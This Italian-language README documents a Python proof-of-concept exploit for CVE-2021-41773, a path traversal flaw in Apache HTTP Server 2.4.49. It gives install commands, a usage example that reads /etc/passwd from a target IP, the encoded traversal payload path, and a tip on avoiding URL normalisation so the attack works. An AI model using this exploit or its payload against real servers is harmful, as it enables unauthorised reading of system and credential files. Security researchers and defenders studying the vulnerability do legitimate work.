CVE-2021-41773 Exploit di Path Traversal per Apache HTTP Server

Un exploit Python per CVE-2021-41773, una vulnerabilità di path traversal in Apache HTTP Server 2.4.49 che consente di leggere file arbitrari dal server.

Dettagli della Vulnerabilità

CVE-2021-41773 è una vulnerabilità di path traversal in Apache HTTP Server 2.4.49 che si verifica a causa di una convalida impropria dei percorsi forniti dall'utente. La vulnerabilità consente agli aggressori di leggere file al di fuori della root dei documenti utilizzando sequenze di path traversal codificate in URL.

• CVSS Score: 7.5 (Alto)
• Versioni Affette: Apache HTTP Server 2.4.49
• Vettore: Remoto, non autenticato

Installazione

git clone https://github.com/blu3ming/PoC-CVE-2021-41773
cd PoC-CVE-2021-41773
pip install -r requirements.txt

Utilizzo

python3 cve-2021-41773.py -t <target> -f <file_path>

Parametri

• -t, --target: URL del target (includi protocollo e porta se necessario)
• -f, --file: Percorso del file da leggere dal server

Esempio

# Leggi /etc/passwd
python3 cve-2021-41773.py -t http://192.168.1.100:443 -f /etc/passwd

Come Funziona

L'exploit utilizza sequenze di path traversal codificate in URL (.%2e/%2e%2e/) per bypassare la convalida del percorso di Apache:

1. La versione vulnerabile di Apache non riesce a decodificare e convalidare correttamente il percorso
2. I punti codificati in URL (.%2e) bypassano i controlli di sicurezza iniziali
3. Il server elabora il path traversal dopo la decodifica, consentendo l'accesso ai file

La chiave è utilizzare urllib3.PoolManager() invece di requests.get() per impedire la normalizzazione automatica dell'URL che romperebbe l'exploit.

Dettagli Tecnici

# The exploit URL structure:
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/{target_file}

Questo si traduce in:

/cgi-bin/../../../../{target_file}

Riferimenti

• CVE-2021-41773 - MITRE
• Avviso di Sicurezza di Apache HTTP Server
• NVD - CVE-2021-41773